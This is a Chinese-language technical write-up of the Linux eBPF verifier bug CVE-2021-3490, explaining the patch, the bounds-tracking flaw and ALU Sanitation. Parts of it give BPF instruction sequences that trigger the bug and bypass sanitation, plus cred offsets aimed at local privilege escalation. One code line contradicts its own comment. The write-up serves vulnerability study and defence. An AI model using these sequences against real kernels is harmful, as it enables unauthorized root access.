文章首發于安全客：CVE-2021-3490 eBPF 32位邊界計算錯誤漏洞利用分析
影響版本：Linux 5.7-rc1以后，Linux 5.13-rc4 以前； v5.13-rc4已修補，v5.13-rc3未修補。 評分7.8分。
測試版本：Linux-5.11 和 Linux-5.11.16 exploit及測試環境下載地址—https://github.com/bsauce/kernel-exploit-factory
編譯選項：CONFIG_BPF_SYSCALL，config所有帶BPF字樣的。 CONFIG_SLAB=y
General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB
在編譯時將.config中的CONFIG_E1000和CONFIG_E1000E，變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
$ tar -xvf linux-5.11.16.tar.xz
# KASAN: 設置 make menuconfig 設置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄：/arch/x86/boot/bzImage。
漏洞描述：Linux內核中按位操作（AND、OR 和 XOR）的 eBPF ALU32 邊界跟蹤沒有正確更新 32 位邊界，造成 Linux 內核中的越界讀取和寫入，從而導致任意代碼執行。三個漏洞函數分別是 scalar32_min_max_and() 、scalar32_min_max_or()、scalar32_min_max_xor()。AND/OR 是在 Linux 5.7-rc1 中引入，XOR 是在 Linux 5.10-rc1中引入。
補丁：patch 若低32位都為 known，則調用 __mark_reg32_known()，將32位邊界設置為reg的低32位（常數），保證最后更新邊界時，有正確的邊界。
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
- /* Assuming scalar64_min_max_and will be called so its safe
- * to skip updating register for known 32-bit case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }
/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
dst_reg->s32_min_value = dst_reg->u32_min_value;
dst_reg->s32_max_value = dst_reg->u32_max_value;
}
-
}*/
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
保護機制：開啟KASLR/SMEP/SMAP。
利用總結：利用verifier階段與runtime執行階段的不一致性，進行越界讀寫。泄露內核基址、偽造函數表、實現任意讀寫后篡改本線程的cred。
1. 漏洞分析
參考：BPF介紹和相似漏洞分析，可參考CVE-2020-8835利用，里面也有var_off 也即tnum結構的含義。總之，其成員 value 表示確定的值，mask 對應的位是1則表示該位不確定。
漏洞根源：eBPF指令集可以對64位寄存器或低32位進行操作，verifier也會對低32位進行范圍追蹤：{u,s}32_{min,max}_value。每次進行指令操作，有兩個函數會分別更新64位和32位的邊界，在 adjust_scalar_min_max_vals() 中調用這兩個函數。很多BPF漏洞都出現在對32位邊界的處理上。CVE-2021-3490也出現在32位運算 BPF_AND、BPF_OR、BPF_XOR 中。
1-1 代碼跟蹤
漏洞調用鏈：adjust_scalar_min_max_vals() -> scalar32_min_max_and()
*
/* WARNING: This function does calculations on 64-bit values, but * the actual execution may occur on 32-bit values. Therefore, * things like bitshifts need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg); // [1] <--- 漏洞點
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg); // <--- 漏洞點
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_XOR:
dst_reg->var_off = tnum_xor(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_xor(dst_reg, &src_reg); // <--- 漏洞點
scalar_min_max_xor(dst_reg, &src_reg);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
[1]： 對比32位和64位的BPF_AND操作。低32位 BPF_AND 中，若 src_reg 和 dst_reg 都為 known，則不用更新32位的邊界（開發者假設，反正之后還是會調用 scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的，所以暫時不用處理），直接返回。64位 BPF_AND 中，若 src_reg 和 dst_reg 都為 known，則調用 __mark_reg_known() 將寄存器標記為 known。
問題：scalar32_min_max_and() 32位中，*_known 變量是調用 tnum_subreg_is_const() 來計算的，而 scalar_min_max_and() 64位中是調用 tnum_is_const() 來計算的。區別是，前者只判斷低32位的 tnum->mask 來判斷是否為 known，后者則判斷整個64位是否為 known。如果某個寄存器的高32位不確定，而低32位是確定的，則 scalar_min_max_and() 也不會調用 __mark_reg_known() 來標記寄存器。
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case. 開發者假設，反正之后還是會調用scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的，所以暫時不用處理，直接返回。但是如果某個寄存器的高32位不確定，而低32位是確定的，則 scalar_min_max_and() 不會調用 __mark_reg_known()。
*/
if (src_known && dst_known)
return;
...
}
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}
...
}
[2]：接著 adjust_scalar_min_max_vals() 會調用以下三個函數來更新 dst_reg 寄存器的邊界。每個函數都包含32位和64位的處理部分，我們這里只關心32位的處理部分。reg 的邊界是根據當前邊界和 reg->var_off 來計算的。
// __update_reg32_bounds() —— min邊界是取 min{當前min邊界、reg確定的值}，會變大；max邊界是取 max{當前max邊界，reg確定的值}，會變小。
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask &
S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask &
S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value |
var32_off.mask));
}
// __reg32_deduce_bounds() —— 接著用符號和無符號邊界來互相更新
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and
* unsigned bounds
* are the same, so combine. This works even in the
* negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value,
reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value,
reg->u32_max_value);
return;
}
...
}
// __reg_bound_offset() —— 最后，用無符號邊界來更新 var_off
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off, // tnum_intersect() —— 組合兩個tnum參數
tnum_range(reg->umin_value, // tnum_range() —— 返回一個tnum，表示給定范圍內，所有可能的值。
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));
reg->var_off = tnum_or(tnum_clear_subreg(var64_off),
var32_off);
}
1-2 觸發漏洞
BPF代碼示例：例如指令BPF_ALU64_REG(BPF_AND, R2, R3)，對 R2 和 R3 進行與操作，并保存到 R2。
-
R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}，表示R2低32位已知為1，高32位未知。由于低32位已知，所以其32位邊界也為1。 -
R3->var_off = {mask = 0x0; value = 0x100000002}，表示其整個64位都已知，為0x100000002。
更新R2的32位邊界的步驟如下：
-
先調用 adjust_scalar_min_max_vals() -> tnum_and() 對
R2->var_off和R3->var_off進行AND操作，并保存到R2->var_off。結果R2->var_off = {mask = 0x100000000; value = 0x0}，由于R3是確定的且R2高32位不確定，所以運算后，只有第32位是不確定的。struct tnum tnum_and(struct tnum a, struct tnum b) { u64 alpha, beta, v; alpha = a.value | a.mask; beta = b.value | b.mask; v = a.value & b.value; return TNUM(v, alpha & beta & ~v); } 再調用 adjust_scalar_min_max_vals() -> scalar32_min_max_and()，會直接返回，因為R2和R3的低32位都已知。
再調用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() ，會設置
u32_max_value = 0，因為var_off.value = 0 < u32_max_value = 1。同時，設置u32_min_value = 1，因為var_off.value = 0 < u32_min_value。帶符號邊界也一樣。__reg32_deduce_bounds() 和 __reg_bound_offset() 對邊界不作任何改變。最后得到寄存器 R2 —
{u,s}32_max_value = 0 < {u,s}32_min_value = 1。
1-3 調試BPF的方法
寫和調試BPF程序：可使用rbpf。
verifier 日志輸出：加載BPF程序時進行如下設置，即可在verifier檢測出指令錯誤時輸出指令信息。正常調試時，可以下源碼斷點，斷在do_check() 函數中，具體觀察 verifier 檢查每條指令時寄存器的狀態。
char verifier_log_buff[0x200000] = {0}; // 這段緩沖區必須足夠大，否則會出錯
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t)"",
.log_level = 2, // 設置為 1 時，就能輸出簡潔的指令信息
.log_size = sizeof(verifier_log_buff),
.log_buf = verifier_log_buff
};
// 輸出示例
34: (bf) r6 = r3
35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
35: (7b) *(u64 *)(r2 +8) = r6
R6 leaks addr into map
runtime調試：如果BPF通過了verifier檢查，如何獲取BPF程序運行時的信息呢？答案是插樁。ALU Sanitation也是運行時檢查指令執行情況的保護機制，可以通過插樁觀察BPF指令是否已經改變。這里需要了解一個編譯選項，編譯時設置CONFIG_BPF_JIT，則BPF程序在verifier驗證后是JIT及時編譯的；如果不設置該選項，則采用eBPF解釋器來解碼并執行BPF程序，代碼位于kernel/bpf/core.c:___bpf_prog_run()。
regs指向寄存器值，insn指向指令。為了獲取每條指令執行時的寄存器狀態，可以關閉CONFIG_BPF_JIT選項并插入printk語句。示例如下：
static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
{
...
int lol = 0;
// Check the first instruction to match the first instruction of
// the target eBPF program to debug, so output isn't printed for
// every eBPF program that is ran. 只打印部分指令的信息
if(insn->code == 0xb7)
{
lol = 1;
}
select_insn:
if(lol)
{
printk("instruction is: %0x\n", insn->code);
printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0],
regs[1], regs[2]);
...
}
goto *jumptable[insn->code];
...
}
2. 漏洞利用 Linux v5.11.7 及以前版本
特點：我們采用Linux v5.11 版本的內核進行測試，特點是不需要繞過一種ALU Sanitation，之后我們會詳細介紹。
總目標：構造 r6 寄存器，使得 verifier 認為 r6 等于0，但實際執行時等于1。
2-1 觸發漏洞
首先，我們需要構造出兩個寄存器的值狀態，分別為var_off = {mask = 0xFFFFFFFF00000000; value = 0x1} 和 var_off = {mask = 0x0; value = 0x100000002}。然后觸發漏洞，得到 r6 的 u32_max_value = 0 < u32_min_value = 1。
注意：實際從map傳入的 r5 = r6 = 0。
// (1) 構造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
BPF_MAP_GET(0, BPF_REG_5), // (79) r5 = *(u64 *)(r0 +0) 從MAP傳入值，這樣其 mask=0xffffffffffffffff
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // (bf) r6 = r5
BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // (18) r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0xFFFFFFFF00000000
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // (5f) r6 &= r2 高32位unknown, 低32位known為0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 {mask = 0xFFFFFFFF00000000, value = 0x1}
// (2) 構造 r2: var_off = {mask = 0x0; value = 0x100000002}
BPF_LD_IMM64(BPF_REG_2, 0x1), // (18) r2 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2), // (07) r2 += 2 {mask = 0x0; value = 0x100000002}
// (3) trigger the vulnerability
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8), // (5f) r6 &= r2 r6: u32_min_value=1, u32_max_value=0
2-2 構造 verifier:0 tuntime:1
// (4) 構造 r5 (r5也是MAP載入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // (b6) if w5 <= 0x1 goto pc+1 r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_EXIT_INSN(),
// (5) 構造 r6: verifier:0 tuntime:1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // (0f) r6 += r5 r6: verify:2 fact:1 !!!!!!!!!!!!!!!!!!!!!!!
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // (bc) w6 = w6 32位擴展為64位
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // (57) r6 &= 1 r6: verify:0 fact:1
r6 += r5分析：目前寄存器狀態，r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1}，r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}。
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg); // [1] <---------
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off,
src_reg.var_off);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg); // [3]
__reg_bound_offset(dst_reg); // [4]
return 0;
}
// [1] 由于r5的低32位是0或1，r6的低32位是1，所以相加結果為1或2，所以低32位的1、2位都為unknown。其mask=0xffffffff 00000003
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;
...
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) { // 判斷是否越界
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val; // 沒越界則直接相加，min+min, max+max
dst_reg->u32_max_value += umax_val;
}
}
接著 adjust_scalar_min_max_vals() 會調用 __update_reg_bounds()、__reg_deduce_bounds()、__reg_bound_offset()。
-
__update_reg32_bounds()中，var_off表示低32位，reg->u32_min_value = max{2, 0} = 2，reg->u32_max_value = min{2, 0 | 0x3} = 2（var32_off.mask = 3）。 -
__reg32_deduce_bounds()未做修改，因為signed 32和unsigned 32都相等。 -
__reg32_deduce_bounds()中，tnum_range()返回常數2（因為u32_min_value = u32_max_value=2該范圍內只有2），由于reg->var_off.mask = 0x3，所以tnum_intersect()返回低2位是 known且為2。
最終得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}。
// [2] __update_reg32_bounds()
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask)); // var32_off.mask=0x3
// [4] __reg32_deduce_bounds()
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), // tnum_subreg取低32位
tnum_range(reg->u32_min_value, // 根據min、max返回一個tnum結構
reg->u32_max_value));
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value; // 簡單的整合
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
此時的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1，只需取低32位并 AND 1，即可得到 verifier:0 runtime:1。
2-3 提權
后面的利用步驟和CVE-2021-31440一樣，參照 CVE-2021-31440 eBPF邊界計算錯誤漏洞 的exp即可提權。
3. 漏洞利用 Linux v5.11.8 - 5.11.16 版本
特點：我們采用 Linux v5.11.16 版本的內核進行測試，Ubuntu 21.04就是這個版本。2021年3月修復了一個verifier計算alu_limit（與ALU Sanitation安全機制有關）時的整數溢出漏洞——commit 10d2bb2e6b1d8c，導致 Linux 5.11.8 - 5.11.16 這個版本區間的內核無法利用成功。當alu_limit = 0時會觸發該漏洞，例如，當對map地址指針進行減法操作時（之前exp這么寫，是為了構造越界訪問，如泄露內核基址，或者修改map內存之前的 bpf_map 結構），會加入如下sanitation指令：0-1 將得到 aux→alu_limit = 0xFFFFFFFF。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
這個漏洞的存在，導致ALU Sanitation機制失效了，因為 alu_limit 變得很大了，檢測不到越界訪問，所以之前那些公開的exp都能利用成功。但是這個漏洞被修復以后，就需要繞過這個限制，需要多加5條指令來繞過該機制。
繞過該ALU Sanitation：r7指向map，r6是verifier以為是0而運行時為1的那個值。需要在r7指針進行運算前，使alu_limit != 0。
- （1）
r8 = r6先拷貝一下——r8 verifier:0 runtime:1。 - （2）
r7 += 0x1000，map指針加上一個常量，以設置alu_limit=0x1000，這樣就能繞過運行時的ALU Sanitation。 - （3）
r8 = r8 * 0xfff——r8 verifier:0 runtime:0xfff。 - （4）
r7 -= r8， 由于verifier以為r8等于0，所以alu_limit保持不變。 - （5）
r7 -= r6——r7 verifier:map+0x1000 runtime:map。
注意：
-
創建map時必須足夠大，調用
syscall(__NR_BPF, BPF_MAP_CREATE, ...)時第3個參數bpf_attr->value_size要大于0x1000，不然執行第2條指令時就會報指針越界的錯誤。BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // 1-1. (bf) r8 = r6 BPF_REG_3 = BPF_REG_6 !!! 1-1 -> 1-5 是為了繞過alu_limit的限制 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), // 1-2. (07) r7 += 0x1000 !!! 注意，map不能過小，小于0x1000 就報錯 BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff), // 1-3. verifier: r8=0; runtime: r8=0x1000-1 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), // 1-4. r7 -= r8 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 1-5. r7 -= r6 -
和
Linux v5.11版本相比，還需要修改cred search的相關偏移：gef? p/x &(*(struct task_struct *)0)->pid $9 = 0x918 gef? p/x &(*(struct task_struct *)0)->cred $10 = 0xad8 gef? p/x &(*(struct task_struct *)0)->tasks $11 = 0x818
4. 漏洞利用 Linux v5.11.16以后的版本
特點：目前無法繞過最新的ALU Sanitation保護機制。2021年4月ALU Sanitation引入新的 patch—commit 7fedb63a8307，新增了兩個特性。
一是
alu_limit計算方法變了，不再用指針寄存器的位置來計算，而是使用offset寄存器。例如，假設有個寄存器的無符號邊界是umax_value = 1, umin_value = 0，則計算出alu_limit = 1，表示如果該寄存器在運行時超出邊界，則指針運算不會使用該寄存器。-
二是在runtime時會用立即數替換掉
verifier認定為常數的寄存器。例如，BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG)，EXPLOIT_REG被verifier認定為0，但運行時為1，則 將該指令改為BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)。這個補丁本來是為了防側信道攻擊，同時也阻止了CVE-2021-3490漏洞的利用。// 以下補丁可看出，如果不確定offset寄存器是否為常量，則根據其alu_limit進行檢查；如果確定其為常量，則用其常量值將其操作patch為立即數指令。 bool off_is_imm = tnum_is_const(off_reg->var_off); alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0; isimm = aux->alu_state & BPF_ALU_IMMEDIATE; ... if (isimm) { *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); } else { // Patch alu_limit check instructions .... }
檢查發現，v5.11.17 已打該補丁，v5.11.16 未打該補丁。所以 v5.11.16 以上版本的內核就無法利用漏洞進行越界讀寫，不知道以后能不能繞過這個限制。
5. ALU Sanitation機制
原理：ALU sanitation機制一直在進行更新，其目的是為了阻止verifier漏洞的利用，原理是在runtime運行時檢查BPF指令的操作數，防止指針運算越界導致越界讀寫，其實是對verifier靜態范圍檢查起到了補充的作用。
如果某條ALU運算指令的操作數是1個指針和1個標量，則計算alu_limit 也即最大絕對值，就是該指針可以進行加減的安全范圍。在該指令之前必須加上如下指令，off_reg表示與指針作運算的標量寄存器，BPF_REG_AX是輔助寄存器。
- （1）將
alu_limit載入BPF_REG_AX。 - （2）
BPF_REG_AX = alu_limit - off_reg，如果off_reg > alu_limit，則BPF_REG_AX最高位符號位置位。 - （3）若
BPF_REG_AUX為正，off_reg為負，則表示alu_limit和寄存器的值符號相反，則BPF_OR操作會設置該符號位。 - （4）
BPF_NEG會使符號位置反，1->0，0->1。 - （5）
BPF_ARSH算術右移63位，BPF_REG_AX只剩符號位。 - （6）根據以上運算結果，
BPF_AND要么清零off_reg要么使其不變。
總體看來，如果off_reg > alu_limit 或者二者符號相反，表示有可能發生指針越界，則off_reg會被替換為0，清空指針運算。反之，如果標量在合理范圍內—0 <= off_reg <= alu_limit，則算術移位會將BPF_REG_AX填為1，這樣BPF_AND運算不會改變該標量。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);
最近更新：最近更新了alu_limit的計算方法，見commit 7fedb63a8307d，這里我們對比一下更新前后的計算差異。
- 之前：
alu_limit由指針寄存器的邊界確定，如果指針指向map的開頭，則alu_limit可減的大小為0，可加的大小為map size-1，并且alu_limit隨著接下來的指針運算而更新。 - 現在：
alu_limit由offset寄存器的邊界來確定，將運行時offset寄存器的值與verifier靜態范圍追蹤時計算出來的邊界進行比較。
參考
Kernel Pwning with eBPF: a Love Story
